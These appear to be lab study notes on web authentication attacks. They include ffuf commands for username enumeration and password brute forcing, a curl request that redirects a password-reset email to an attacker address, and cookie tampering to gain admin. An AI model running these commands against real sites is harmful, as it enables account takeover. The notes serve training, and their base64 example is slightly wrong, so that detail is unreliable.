

Username Enumeration

- Error messages reveal valid usernames (e.g., "An account with this username already exists")
- Use ffuf to automate username discovery:

text

```
ffuf -w /usr/share/wordlists/SecLists/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"
```

- -mr flag looks for specific text in response
 - Save valid usernames for brute forcing
-

Password Brute Forcing

- Use valid username list + common password list
- Multiple wordlists in ffuf require custom keywords (W1, W2, etc.)

text

```
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200
```

- -fc 200 filters out responses with status code 200 (successful logins show different code)
-

Logic Flaws

- Bypassing intended application logic flow
- Example: Case sensitivity bypass
php
if(url.substr(0,6) === '/admin') { check admin } else { view page }
Requesting /adMin bypasses check due to === exact match requirement

Password Reset Logic Flaw:

- PHP \$_REQUEST variable contains both GET and POST data
- If same key exists in both, POST data takes precedence
- Can override email destination by adding email parameter to POST data

Normal request:

text

```
curl 'http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' -H  
'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'
```

Exploit to redirect reset email:

text

```
curl 'http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' -H  
'Content-Type: application/x-www-form-urlencoded' -d  
'username=robert&email=attacker@hacker.com'
```

Cookie Manipulation

Plain Text Cookies:

- Can modify values directly
- Example: Changing `admin=false` to `admin=true`
- Test with curl:
text

```
curl -H "Cookie: logged_in=true; admin=true" http://MACHINE_IP/cookie-test
```

Hashed Cookies:

- Irreversible but consistent output
- Use databases like <https://crackstation.net/> to reverse known hashes
- Common hash types: md5, sha1, sha256, sha512

Encoded Cookies:

- Encoding is reversible (unlike hashing)
- Base32: A-Z and 2-7
- Base64: a-z, A-Z, 0-9, +, /, =
- Decode, modify, re-encode
- Example: `eyJpZCI6MSwiYWRTaW4iOmZhbHNlfQ==` base64 decodes to
`{"id":1,"admin": false}`